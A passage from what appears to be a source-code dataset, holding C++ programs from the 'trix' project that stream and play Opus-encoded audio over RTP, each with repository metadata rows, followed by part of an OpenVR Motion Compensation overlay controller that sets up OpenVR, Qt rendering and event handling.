sample_frame_time_stamp = sample_frame_time_stamp + opus_frame_size;
std::cout << sample_frame_time_stamp <<"\n";
return 0;
}
int main( int argc, char *argv[] )
{
unsigned int device = 0;
// minimal command-line checking
if ( argc < 3 || argc > 6 ) usage();
RtAudio adc;
if ( adc.getDeviceCount() < 1 ) {
std::cout << "\nNo audio devices found!\n";
exit( 1 );
}
audio_channels = (unsigned int) atoi( argv[1] );
audio_sample_rate = (unsigned int) atoi( argv[2] );
if ( argc > 3 )
device = (unsigned int) atoi( argv[3] );
// Let RtAudio print messages to stderr.
adc.showWarnings( true );
// Set our stream parameters for input only.
RtAudio::StreamParameters iParams;
if ( device == 0 )
iParams.deviceId = adc.getDefaultInputDevice();
else
iParams.deviceId = device;
iParams.nChannels = audio_channels;
iParams.firstChannel = 0;
RtAudio::StreamOptions options;
options.streamName = "AudioToRTP";
options.numberOfBuffers = 0; // Use default.
options.flags = RTAUDIO_SCHEDULE_REALTIME;
options.priority = 70;
options.flags |= RTAUDIO_MINIMIZE_LATENCY;
char const *addr = udp_addr;
int port = udp_port;
ortp_init();
ortp_scheduler_init();
//ortp_set_log_level_mask(ORTP_WARNING|ORTP_ERROR);
session = create_rtp_send(addr, port);
assert(session != NULL);
int encoder_error;
encoder = opus_encoder_create(audio_sample_rate, audio_channels, OPUS_APPLICATION_AUDIO, &encoder_error);
if (encoder == NULL) {
fprintf(stderr, "opus_encoder_create: %s\n",
opus_strerror(encoder_error));
return -1;
}
bytes_per_frame = opus_bitrate * 1024 * opus_frame_size / audio_sample_rate / 8;
//test_fd = fopen( "waste_f_mono_48000.raw", "rb" );
unsigned int audio_block_size = 1 * opus_frame_size;
try {
adc.openStream( NULL, &iParams, FORMAT, audio_sample_rate, &audio_block_size, &input,&options);
std::cout << audio_block_size << " internal buffer size in sample frames,\n";
std::cout << adc.getStreamLatency() << " Stream latency,\n";
} catch ( RtAudioError& e ) {
std::cout << '\n' << e.getMessage() << '\n' << std::endl;
goto cleanup;
}
try {
adc.startStream();
} catch ( RtAudioError& e ) {
std::cout << '\n' << e.getMessage() << '\n' << std::endl;
goto cleanup;
}
while ( adc.isStreamRunning() ) {
sleep( 100 ); // wake every 100 ms to check if we're done
}
rtp_session_destroy(session);
ortp_exit();
ortp_global_stats_display();
opus_encoder_destroy(encoder);
cleanup:
if ( adc.isStreamOpen() ) adc.closeStream();
return 0;
}
| 5,704
|
C++
|
.cpp
| 156
| 33.352564
| 124
| 0.681661
|
JorenSix/trix
| 32
| 2
| 3
|
GPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,181
|
TrixSpeaker.cpp
|
JorenSix_trix/src/TrixSpeaker.cpp
|
/******************************************/
/*
RTPSpeaker.cpp
by Joren Six, 2018
This program decodes Opus encoded audio from an RTP stream. The audio
is immediately send to a sound device.
*/
/******************************************/
#include "RtAudio.h"
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <stdio.h>
#include <sys/time.h>
#include <ortp/ortp.h>
#include <opus/opus.h>
// uncomment to disable assert()
// #define NDEBUG
#include <cassert>
/*Defines the rtAudio type, request 32bit floats*/
#define FORMAT RTAUDIO_FLOAT32
#define SCALE 1.0;
// Default configuration
int audio_sample_rate= 48000;
int audio_channels = 2;
int opus_bitrate = 112;
int opus_frame_size = 2880;
int udp_port = 5555;
char const *udp_addr = "0.0.0.0";
int rtp_payload_type = 96;
unsigned int rtp_jitter = 16;
OpusDecoder *decoder;
RtpSession *session;
const int buffer_length = 10;
uint8_t packet_buffer[buffer_length][7000] ;
int packet_lengths[buffer_length] ;
int packet_write_index = -1;
int packet_read_index = -1;
void usage( void ) {
// Error function in case of incorrect command-line
// argument specifications
std::cout << "\nuseage: N fs file <device>\n";
std::cout << " where N = number of channels,\n";
std::cout << " fs = the sample rate, \n";
std::cout << " device = optional device to use (default = 0),\n";
exit( 0 );
}
static void timestamp_jump(RtpSession *session, ...)
{
rtp_session_resync(session);
}
static RtpSession* create_rtp_recv(const char *addr_desc, const int port,
unsigned int jitter){
RtpSession *session;
session = rtp_session_new(RTP_SESSION_RECVONLY);
rtp_session_set_scheduling_mode(session, TRUE);
rtp_session_set_blocking_mode(session, FALSE);
rtp_session_set_local_addr(session, addr_desc, port, -1);
rtp_session_set_connected_mode(session, FALSE);
rtp_session_enable_adaptive_jitter_compensation(session, TRUE);
rtp_session_set_jitter_compensation(session, jitter); /* ms */
rtp_session_set_time_jump_limit(session, jitter * 16); /* ms */
if (rtp_session_set_payload_type(session, rtp_payload_type) != 0)
abort();
if (rtp_session_signal_connect(session, "timestamp_jump", (RtpCallback) timestamp_jump, 0) != 0)
abort();
return session;
}
char buf[32768*2];
uint8_t packet[7000];
int ts = 0;
// Interleaved buffers
int output( void *outputBuffer, void * /*inputBuffer*/, unsigned int nBufferFrames,
double /*streamTime*/, RtAudioStreamStatus /*status*/, void *data ){
int samples;
samples = opus_frame_size;
int r;
packet_read_index++;
packet_read_index = packet_read_index % buffer_length;
if (packet_read_index == packet_write_index) {
packet_read_index --;
r = opus_decode_float(decoder, NULL, 0, (float*)outputBuffer, samples, 1);
std::cout << r << " NULL audio sample frames decoded! " << ts << " ts\n";
} else {
int len = packet_lengths[packet_read_index];
for(int i = 0 ; i <len ; i++){
packet[i] = packet_buffer[packet_read_index][i];
}
r = opus_decode_float(decoder, (const unsigned char*) packet, len, (float*) outputBuffer, samples, 0);
std::cout << r << " audio sample frames decoded! " << ts << " ts\n";
}
if (r < 0) {
fprintf(stderr, "opus_decode: %s\n", opus_strerror(r));
return -1;
}
return 0;
}
int main( int argc, char *argv[] )
{
unsigned int bufferFrames, device = 0;
int decoder_error;
decoder = opus_decoder_create(audio_sample_rate, audio_channels, &decoder_error);
if (decoder == NULL) {
fprintf(stderr, "opus_decoder_create: %s\n",opus_strerror(decoder_error));
return -1;
}
ortp_init();
ortp_scheduler_init();
session = create_rtp_recv(udp_addr, udp_port, rtp_jitter);
assert(session != NULL);
// minimal command-line checking
if ( argc < 4 || argc > 6 ){
usage();
}
RtAudio dac;
if ( dac.getDeviceCount() < 1 ) {
std::cout << "\nNo audio devices found!\n";
exit( 0 );
}
audio_channels = (unsigned int) atoi( argv[1]) ;
audio_sample_rate = (unsigned int) atoi( argv[2] );
if ( argc > 3 ){
device = (unsigned int) atoi( argv[3] );
}
// Set our stream parameters for output only.
bufferFrames = opus_frame_size;
RtAudio::StreamParameters oParams;
oParams.deviceId = device;
oParams.nChannels = audio_channels;
if ( device == 0 ){
oParams.deviceId = dac.getDefaultOutputDevice();
}
RtAudio::StreamOptions options;
options.streamName = "AudioToRTP";
options.numberOfBuffers = 0; // Use default.
options.flags = RTAUDIO_SCHEDULE_REALTIME;
options.priority = 70;
std::cout <<" Waiting for messages\n";
/*
float *pcm;
pcm = (float*) alloca(sizeof(float) * samples * audio_channels);
*/
bool started = false;
for (;;) {
int r, have_more;
ts += opus_frame_size;
r = rtp_session_recv_with_ts(session, (uint8_t*)buf, sizeof(buf), ts, &have_more);
assert(r >= 0);
assert(have_more == 0);
if(r>0)
std::cout << r << " bytes recieved! " << ts << " ts\n";
if(have_more>0)
std::cout << have_more << " has more recieved! " << ts << " ts\n";
if (r != 0) {
packet_write_index++;
packet_write_index = packet_write_index % buffer_length;
std::cout << packet_write_index << " packet_write_index " << packet_read_index << " read index \n";
if(!started && packet_write_index == buffer_length/2){
try {
dac.openStream( &oParams, NULL, FORMAT, audio_sample_rate, &bufferFrames, &output, &options );
dac.startStream();
} catch ( RtAudioError& e ) {
std::cout << '\n' << e.getMessage() << '\n' << std::endl;
goto cleanup;
}
started = true;
}
for(int i = 0 ; i < r ; i++){
packet_buffer[packet_write_index][i] = buf[i];
}
packet_lengths[packet_write_index] = r;
}
}
cleanup:
dac.closeStream();
rtp_session_destroy(session);
ortp_exit();
ortp_global_stats_display();
return 0;
}
| 6,042
|
C++
|
.cpp
| 180
| 29.827778
| 111
| 0.647444
|
JorenSix/trix
| 32
| 2
| 3
|
GPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,182
|
TrixList.cpp
|
JorenSix_trix/src/TrixList.cpp
|
// probe.cpp
#include <iostream>
#include "RtAudio.h"
int main()
{
RtAudio *audio = 0;
// Default RtAudio constructor
try {
audio = new RtAudio();
}
catch (RtAudioError &error) {
error.printMessage();
exit(EXIT_FAILURE);
}
// Determine the number of devices available
int devices = audio->getDeviceCount();
// Scan through devices for various capabilities
RtAudio::DeviceInfo info;
for (int i=0; i<devices; i++) {
try {
info = audio->getDeviceInfo(i);
}
catch (RtAudioError &error) {
error.printMessage();
break;
}
// Print, for example, the maximum number of output channels for each device
std::cout << "device = " << i;
std::cout << ": name = " << info.name;
std::cout << ": maximum input channels = " << info.inputChannels;
std::cout << ": maximum output channels = " << info.outputChannels << "\n";
}
// Clean up
delete audio;
return 0;
}
| 948
|
C++
|
.cpp
| 36
| 22.444444
| 80
| 0.638274
|
JorenSix/trix
| 32
| 2
| 3
|
GPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,183
|
TrixStreamer.cpp
|
JorenSix_trix/src/TrixStreamer.cpp
|
/******************************************/
/*
RTPMicrophone.cpp
by Joren Six, 2018
This program streams audio from a file, encodes the
audio using the Opus encoder and sends it over an RTP session
to a configured host.
*/
/******************************************/
#include "RtAudio.h"
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <stdio.h>
#include <ortp/ortp.h>
#include <opus/opus.h>
// uncomment to disable assert()
// #define NDEBUG
#include <cassert>
/*Defines the rtAudio type, request 32bit floats*/
#define FORMAT RTAUDIO_FLOAT32
// Default configuration
int audio_sample_rate= 48000;
int audio_channels = 2;
int opus_bitrate = 112;
int opus_frame_size = 2880;
int udp_port = 5555;
char const *udp_addr = "127.0.0.1";
int rtp_payload_type = 96;
//the rtp session object
RtpSession *session;
// The opus encoder
OpusEncoder *encoder;
// The number of bytes per opus frame
int bytes_per_frame;
unsigned int sample_frame_time_stamp = 0;
FILE *test_fd;
static RtpSession* create_rtp_send(const char *addr_desc, const int port){
RtpSession *session;
session = rtp_session_new(RTP_SESSION_SENDONLY);
assert(session != NULL);
rtp_session_set_scheduling_mode(session, 0);
rtp_session_set_blocking_mode(session, 0);
rtp_session_set_connected_mode(session, FALSE);
if (rtp_session_set_remote_addr(session, addr_desc, port) != 0)
abort();
//use payload type 96 = dynamic payload type
if (rtp_session_set_payload_type(session, rtp_payload_type) != 0)
abort();
if (rtp_session_set_multicast_ttl(session, 16) != 0)
abort();
return session;
}
void usage( void ) {
// Error function in case of incorrect command-line
// argument specifications
std::cout << "\nSends the contents of '48000Hz_stereo_sound_long.raw' over \n";
std::cout << "An RTP connection to 127.0.0.1\n";
std::cout << "\nUseage: N fs\n";
std::cout << " where N = number of channels (2),\n";
std::cout << " fs = the sample rate (48000),\n";
exit( 0 );
}
// Interleaved buffers
int input( void * /*outputBuffer*/, void * inputBuffer , unsigned int nBufferFrames,
double /*streamTime*/, RtAudioStreamStatus /*status*/, void *data ){
unsigned char* packet;
ssize_t packet_length_in_bytes = 0;
//allocate a packet on the stack: max bytes = bytes per frame
packet = ( unsigned char*) alloca(bytes_per_frame);
/* Read from file */
fseek(test_fd, sample_frame_time_stamp * sizeof( float ) * audio_channels , SEEK_SET);
fread(inputBuffer, audio_channels * sizeof( float ), opus_frame_size, test_fd);
//The length of the encoded packet (in bytes) on success or a negative error code (see Error codes) on failure.
packet_length_in_bytes = opus_encode_float(encoder, (const float*) inputBuffer, opus_frame_size, packet, bytes_per_frame);
if (packet_length_in_bytes < 0) {
fprintf(stderr, "opus_encode_float: %s\n", opus_strerror(packet_length_in_bytes));
return -1;
}
rtp_session_send_with_ts(session, packet , packet_length_in_bytes, sample_frame_time_stamp);
//increment sample frame counter
sample_frame_time_stamp = sample_frame_time_stamp + opus_frame_size;
std::cout << sample_frame_time_stamp <<"\n";
return 0;
}
int main( int argc, char *argv[] )
{
unsigned int device = 0;
// minimal command-line checking
if ( argc < 3 || argc > 6 ) usage();
RtAudio adc;
if ( adc.getDeviceCount() < 1 ) {
std::cout << "\nNo audio devices found!\n";
exit( 1 );
}
audio_channels = (unsigned int) atoi( argv[1] );
audio_sample_rate = (unsigned int) atoi( argv[2] );
if ( argc > 3 )
device = (unsigned int) atoi( argv[3] );
// Let RtAudio print messages to stderr.
adc.showWarnings( true );
// Set our stream parameters for input only.
RtAudio::StreamParameters iParams;
if ( device == 0 )
iParams.deviceId = adc.getDefaultInputDevice();
else
iParams.deviceId = device;
iParams.nChannels = audio_channels;
iParams.firstChannel = 0;
RtAudio::StreamOptions options;
options.streamName = "AudioToRTP";
options.numberOfBuffers = 0; // Use default.
options.flags = RTAUDIO_SCHEDULE_REALTIME;
options.priority = 70;
options.flags |= RTAUDIO_MINIMIZE_LATENCY;
char const *addr = udp_addr;
int port = udp_port;
ortp_init();
ortp_scheduler_init();
//ortp_set_log_level_mask(ORTP_WARNING|ORTP_ERROR);
session = create_rtp_send(addr, port);
assert(session != NULL);
int encoder_error;
encoder = opus_encoder_create(audio_sample_rate, audio_channels, OPUS_APPLICATION_AUDIO, &encoder_error);
if (encoder == NULL) {
fprintf(stderr, "opus_encoder_create: %s\n",
opus_strerror(encoder_error));
return -1;
}
bytes_per_frame = opus_bitrate * 1024 * opus_frame_size / audio_sample_rate / 8;
test_fd = fopen( "48000Hz_stereo_sound_long.raw", "rb" );
unsigned int audio_block_size = 1 * opus_frame_size;
try {
adc.openStream( NULL, &iParams, FORMAT, audio_sample_rate, &audio_block_size, &input,&options);
std::cout << audio_block_size << " internal buffer size in sample frames,\n";
std::cout << adc.getStreamLatency() << " Stream latency,\n";
} catch ( RtAudioError& e ) {
std::cout << '\n' << e.getMessage() << '\n' << std::endl;
goto cleanup;
}
try {
adc.startStream();
} catch ( RtAudioError& e ) {
std::cout << '\n' << e.getMessage() << '\n' << std::endl;
goto cleanup;
}
while ( adc.isStreamRunning() ) {
sleep( 100 ); // wake every 100 ms to check if we're done
}
rtp_session_destroy(session);
ortp_exit();
ortp_global_stats_display();
opus_encoder_destroy(encoder);
cleanup:
if ( adc.isStreamOpen() ) adc.closeStream();
return 0;
}
| 5,747
|
C++
|
.cpp
| 157
| 33.382166
| 124
| 0.681909
|
JorenSix/trix
| 32
| 2
| 3
|
GPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,185
|
overlaycontroller.cpp
|
openvrmc_OpenVR-MotionCompensation/client_overlay/src/overlaycontroller.cpp
|
#include "overlaycontroller.h"
//#include <QOpenGLFramebufferObjectFormat>//
//#include <QOpenGLPaintDevice>//
//#include <QPainter>//
//#include <QQuickView>//
#include <QApplication>
#include <QQmlEngine>
#include <QQmlContext>
#include <QOpenGLExtraFunctions>
#include <QMessageBox>
#include <exception>
#include <iostream>
#include <cmath>
#include <openvr.h>
#include "logging.h"
#include <vrmotioncompensation_types.h>
#include <ipc_protocol.h>
#include <codecvt>
#include "openvr_math.h"
// application namespace
namespace motioncompensation
{
std::unique_ptr<OverlayController> OverlayController::singleton;
QSettings* OverlayController::_appSettings = nullptr;
OverlayController::~OverlayController()
{
Shutdown();
}
void OverlayController::Init(QQmlEngine* qmlEngine)
{
// Loading the OpenVR Runtime
auto initError = vr::VRInitError_None;
vr::VR_Init(&initError, vr::VRApplication_Overlay);
if (initError != vr::VRInitError_None)
{
if (initError == vr::VRInitError_Init_HmdNotFound || initError == vr::VRInitError_Init_HmdNotFoundPresenceFailed)
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "Could not find HMD!");
}
throw std::runtime_error(std::string("Failed to initialize OpenVR: ") + std::string(vr::VR_GetVRInitErrorAsEnglishDescription(initError)));
}
LOG(INFO) << "OpenVR Motion Compensation Version: " << applicationVersionString;
static char rchBuffer[1024];
uint32_t unRequiredSize;
std::cout << vr::VR_GetRuntimePath(rchBuffer, sizeof(rchBuffer), &unRequiredSize);
m_runtimePathUrl = QUrl::fromLocalFile(rchBuffer);
LOG(INFO) << "VR Runtime Path: " << m_runtimePathUrl.toLocalFile();
LOG(INFO) << "sizeof(ipc::Request) = " << sizeof(vrmotioncompensation::ipc::Request);
LOG(INFO) << "sizeof(ipc::Request::msg) = " << sizeof(vrmotioncompensation::ipc::Request::msg);
LOG(INFO) << "sizeof(ipc::Reply) = " << sizeof(vrmotioncompensation::ipc::Reply);
LOG(INFO) << "sizeof(ipc::Reply::msg) = " << sizeof(vrmotioncompensation::ipc::Reply::msg);
QString activationSoundFile = m_runtimePathUrl.toLocalFile().append("/content/panorama/sounds/activation.wav");
QFileInfo activationSoundFileInfo(activationSoundFile);
if (activationSoundFileInfo.exists() && activationSoundFileInfo.isFile())
{
activationSoundEffect.setSource(QUrl::fromLocalFile(activationSoundFile));
activationSoundEffect.setVolume(1.0);
}
else
{
LOG(ERROR) << "Could not find activation sound file " << activationSoundFile;
}
QString focusChangedSoundFile = m_runtimePathUrl.toLocalFile().append("/content/panorama/sounds/focus_change.wav");
QFileInfo focusChangedSoundFileInfo(focusChangedSoundFile);
if (focusChangedSoundFileInfo.exists() && focusChangedSoundFileInfo.isFile())
{
focusChangedSoundEffect.setSource(QUrl::fromLocalFile(focusChangedSoundFile));
focusChangedSoundEffect.setVolume(1.0);
}
else
{
LOG(ERROR) << "Could not find focus changed sound file " << focusChangedSoundFile;
}
// Check whether OpenVR is too outdated
if (!vr::VR_IsInterfaceVersionValid(vr::IVRSystem_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVRSystem_Version) + std::string(" not found."));
}
else if (!vr::VR_IsInterfaceVersionValid(vr::IVRSettings_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVRSettings_Version) + std::string(" not found."));
}
else if (!vr::VR_IsInterfaceVersionValid(vr::IVROverlay_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVROverlay_Version) + std::string(" not found."));
}
else if (!vr::VR_IsInterfaceVersionValid(vr::IVRApplications_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVRApplications_Version) + std::string(" not found."));
}
else if (!vr::VR_IsInterfaceVersionValid(vr::IVRChaperone_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVRChaperone_Version) + std::string(" not found."));
}
else if (!vr::VR_IsInterfaceVersionValid(vr::IVRChaperoneSetup_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVRChaperoneSetup_Version) + std::string(" not found."));
}
else if (!vr::VR_IsInterfaceVersionValid(vr::IVRCompositor_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVRCompositor_Version) + std::string(" not found."));
}
else if (!vr::VR_IsInterfaceVersionValid(vr::IVRNotifications_Version))
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "OpenVR version is too outdated. Please update OpenVR.");
throw std::runtime_error(std::string("OpenVR version is too outdated: Interface version ") + std::string(vr::IVRNotifications_Version) + std::string(" not found."));
}
QSurfaceFormat format;
// Qt's QOpenGLPaintDevice is not compatible with OpenGL versions >= 3.0
// NVIDIA does not care, but unfortunately AMD does
// Are subtle changes to the semantics of OpenGL functions actually covered by the compatibility profile,
// and this is an AMD bug?
format.setVersion(2, 1);
format.setDepthBufferSize(16);
format.setStencilBufferSize(8);
format.setSamples(16);
m_pOpenGLContext.reset(new QOpenGLContext());
m_pOpenGLContext->setFormat(format);
if (!m_pOpenGLContext->create())
{
throw std::runtime_error("Could not create OpenGL context");
}
// create an offscreen surface to attach the context and FBO to
m_pOffscreenSurface.reset(new QOffscreenSurface());
m_pOffscreenSurface->setFormat(m_pOpenGLContext->format());
m_pOffscreenSurface->create();
m_pOpenGLContext->makeCurrent(m_pOffscreenSurface.get());
if (!vr::VROverlay())
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "Is OpenVR running?");
throw std::runtime_error(std::string("No Overlay interface"));
}
// Init controllers
deviceManipulationTabController.initStage1();
// Set qml context
qmlEngine->rootContext()->setContextProperty("applicationVersion", getVersionString());
qmlEngine->rootContext()->setContextProperty("vrRuntimePath", getVRRuntimePathUrl());
// Register qml singletons
qmlRegisterSingletonType<OverlayController>("ovrmc.motioncompensation", 1, 0, "OverlayController", [](QQmlEngine*, QJSEngine*)
{
QObject* obj = getInstance();
QQmlEngine::setObjectOwnership(obj, QQmlEngine::CppOwnership);
return obj;
});
qmlRegisterSingletonType<DeviceManipulationTabController>("ovrmc.motioncompensation", 1, 0, "DeviceManipulationTabController", [](QQmlEngine*, QJSEngine*)
{
QObject* obj = &getInstance()->deviceManipulationTabController;
QQmlEngine::setObjectOwnership(obj, QQmlEngine::CppOwnership);
return obj;
});
}
void OverlayController::Shutdown()
{
if (m_pPumpEventsTimer)
{
disconnect(m_pPumpEventsTimer.get(), SIGNAL(timeout()), this, SLOT(OnTimeoutPumpEvents()));
m_pPumpEventsTimer->stop();
m_pPumpEventsTimer.reset();
}
if (m_pRenderTimer)
{
disconnect(m_pRenderControl.get(), SIGNAL(renderRequested()), this, SLOT(OnRenderRequest()));
disconnect(m_pRenderControl.get(), SIGNAL(sceneChanged()), this, SLOT(OnRenderRequest()));
disconnect(m_pRenderTimer.get(), SIGNAL(timeout()), this, SLOT(renderOverlay()));
m_pRenderTimer->stop();
m_pRenderTimer.reset();
}
m_pWindow.reset();
m_pRenderControl.reset();
m_pFbo.reset();
m_pOpenGLContext.reset();
m_pOffscreenSurface.reset();
}
void OverlayController::SetWidget(QQuickItem* quickItem, const std::string& name, const std::string& key)
{
if (!desktopMode)
{
vr::VROverlayError overlayError = vr::VROverlay()->CreateDashboardOverlay(key.c_str(), name.c_str(), &m_ulOverlayHandle, &m_ulOverlayThumbnailHandle);
if (overlayError != vr::VROverlayError_None)
{
if (overlayError == vr::VROverlayError_KeyInUse)
{
QMessageBox::critical(nullptr, "OpenVR Motion Compensation Overlay", "Another instance is already running.");
}
throw std::runtime_error(std::string("Failed to create Overlay: " + std::string(vr::VROverlay()->GetOverlayErrorNameFromEnum(overlayError))));
}
vr::VROverlay()->SetOverlayWidthInMeters(m_ulOverlayHandle, 2.5f);
vr::VROverlay()->SetOverlayInputMethod(m_ulOverlayHandle, vr::VROverlayInputMethod_Mouse);
vr::VROverlay()->SetOverlayFlag(m_ulOverlayHandle, vr::VROverlayFlags_SendVRSmoothScrollEvents, true);
std::string thumbIconPath = QApplication::applicationDirPath().toStdString() + "\\res\\thumbicon.png";
if (QFile::exists(QString::fromStdString(thumbIconPath)))
{
vr::VROverlay()->SetOverlayFromFile(m_ulOverlayThumbnailHandle, thumbIconPath.c_str());
}
else
{
LOG(ERROR) << "Could not find thumbnail icon \"" << thumbIconPath << "\"";
}
// Too many render calls in too short time overwhelm Qt and an assertion gets thrown.
// Therefore we use an timer to delay render calls
m_pRenderTimer.reset(new QTimer());
m_pRenderTimer->setSingleShot(true);
m_pRenderTimer->setInterval(5);
connect(m_pRenderTimer.get(), SIGNAL(timeout()), this, SLOT(renderOverlay()));
QOpenGLFramebufferObjectFormat fboFormat;
fboFormat.setAttachment(QOpenGLFramebufferObject::CombinedDepthStencil);
fboFormat.setTextureTarget(GL_TEXTURE_2D);
m_pFbo.reset(new QOpenGLFramebufferObject(quickItem->width(), quickItem->height(), fboFormat));
m_pRenderControl.reset(new QQuickRenderControl());
m_pWindow.reset(new QQuickWindow(m_pRenderControl.get()));
m_pWindow->setRenderTarget(m_pFbo.get());
quickItem->setParentItem(m_pWindow->contentItem());
m_pWindow->setGeometry(0, 0, quickItem->width(), quickItem->height());
m_pRenderControl->initialize(m_pOpenGLContext.get());
vr::HmdVector2_t vecWindowSize = {
(float)quickItem->width(),
(float)quickItem->height()
};
vr::VROverlay()->SetOverlayMouseScale(m_ulOverlayHandle, &vecWindowSize);
connect(m_pRenderControl.get(), SIGNAL(renderRequested()), this, SLOT(OnRenderRequest()));
connect(m_pRenderControl.get(), SIGNAL(sceneChanged()), this, SLOT(OnRenderRequest()));
}
m_pPumpEventsTimer.reset(new QTimer());
connect(m_pPumpEventsTimer.get(), SIGNAL(timeout()), this, SLOT(OnTimeoutPumpEvents()));
m_pPumpEventsTimer->setInterval(20);
m_pPumpEventsTimer->start();
try
{
m_vrMotionCompensation.connect();
}
catch (const std::exception & e)
{
LOG(ERROR) << "Could not connect to driver component: " << e.what();
}
deviceManipulationTabController.initStage2(this, m_pWindow.get());
}
void OverlayController::OnRenderRequest()
{
if (m_pRenderTimer && !m_pRenderTimer->isActive())
{
m_pRenderTimer->start();
}
}
void OverlayController::renderOverlay()
{
if (!desktopMode)
{
// skip rendering if the overlay isn't visible
if (!vr::VROverlay() || !vr::VROverlay()->IsOverlayVisible(m_ulOverlayHandle) && !vr::VROverlay()->IsOverlayVisible(m_ulOverlayThumbnailHandle))
return;
m_pRenderControl->polishItems();
m_pRenderControl->sync();
m_pRenderControl->render();
GLuint unTexture = m_pFbo->texture();
if (unTexture != 0)
{
#if defined _WIN64 || defined _LP64
// To avoid any compiler warning because of cast to a larger pointer type (warning C4312 on VC)
vr::Texture_t texture = { (void*)((uint64_t)unTexture), vr::TextureType_OpenGL, vr::ColorSpace_Auto };
#else
vr::Texture_t texture = { (void*)unTexture, vr::TextureType_OpenGL, vr::ColorSpace_Auto };
#endif
vr::VROverlay()->SetOverlayTexture(m_ulOverlayHandle, &texture);
}
m_pOpenGLContext->functions()->glFlush(); // We need to flush otherwise the texture may be empty.*/
}
}
void OverlayController::OnTimeoutPumpEvents()
{
if (!vr::VRSystem())
return;
vr::VREvent_t vrEvent;
while (vr::VROverlay()->PollNextOverlayEvent(m_ulOverlayHandle, &vrEvent, sizeof(vrEvent)))
{
switch (vrEvent.eventType)
{
case vr::VREvent_MouseMove:
{
QPoint ptNewMouse(vrEvent.data.mouse.x, vrEvent.data.mouse.y);
if (ptNewMouse != m_ptLastMouse)
{
QMouseEvent mouseEvent(QEvent::MouseMove, ptNewMouse, m_pWindow->mapToGlobal(ptNewMouse), Qt::NoButton, m_lastMouseButtons, 0);
m_ptLastMouse = ptNewMouse;
QCoreApplication::sendEvent(m_pWindow.get(), &mouseEvent);
OnRenderRequest();
}
}
break;
case vr::VREvent_MouseButtonDown:
{
QPoint ptNewMouse(vrEvent.data.mouse.x, vrEvent.data.mouse.y);
Qt::MouseButton button = vrEvent.data.mouse.button == vr::VRMouseButton_Right ? Qt::RightButton : Qt::LeftButton;
m_lastMouseButtons |= button;
QMouseEvent mouseEvent(QEvent::MouseButtonPress, ptNewMouse, m_pWindow->mapToGlobal(ptNewMouse), button, m_lastMouseButtons, 0);
QCoreApplication::sendEvent(m_pWindow.get(), &mouseEvent);
}
break;
case vr::VREvent_MouseButtonUp:
{
QPoint ptNewMouse(vrEvent.data.mouse.x, vrEvent.data.mouse.y);
Qt::MouseButton button = vrEvent.data.mouse.button == vr::VRMouseButton_Right ? Qt::RightButton : Qt::LeftButton;
m_lastMouseButtons &= ~button;
QMouseEvent mouseEvent(QEvent::MouseButtonRelease, ptNewMouse, m_pWindow->mapToGlobal(ptNewMouse), button, m_lastMouseButtons, 0);
QCoreApplication::sendEvent(m_pWindow.get(), &mouseEvent);
}
break;
case vr::VREvent_ScrollSmooth:
{
// Wheel speed is defined as 1/8 of a degree
QWheelEvent wheelEvent(m_ptLastMouse, m_pWindow->mapToGlobal(m_ptLastMouse), QPoint(),
QPoint(vrEvent.data.scroll.xdelta * 360.0f * 8.0f, vrEvent.data.scroll.ydelta * 360.0f * 8.0f),
0, Qt::Vertical, m_lastMouseButtons, 0);
QCoreApplication::sendEvent(m_pWindow.get(), &wheelEvent);
}
break;
case vr::VREvent_OverlayShown:
{
m_pWindow->update();
}
break;
case vr::VREvent_Quit:
{
LOG(INFO) << "Received quit request.";
vr::VRSystem()->AcknowledgeQuit_Exiting(); // Let us buy some time just in case
Shutdown();
QApplication::exit();
return;
}
break;
case vr::VREvent_DashboardActivated:
{
LOG(DEBUG) << "Dashboard activated";
dashboardVisible = true;
}
break;
case vr::VREvent_DashboardDeactivated:
{
LOG(DEBUG) << "Dashboard deactivated";
dashboardVisible = false;
}
break;
case vr::VREvent_KeyboardDone:
{
char keyboardBuffer[1024];
vr::VROverlay()->GetKeyboardText(keyboardBuffer, 1024);
emit keyBoardInputSignal(QString(keyboardBuffer), vrEvent.data.keyboard.uUserValue);
LOG(TRACE) << "VREvent_KeyboardDone";
}
break;
default:
deviceManipulationTabController.handleEvent(vrEvent);
break;
}
}
vr::TrackedDevicePose_t devicePoses[vr::k_unMaxTrackedDeviceCount];
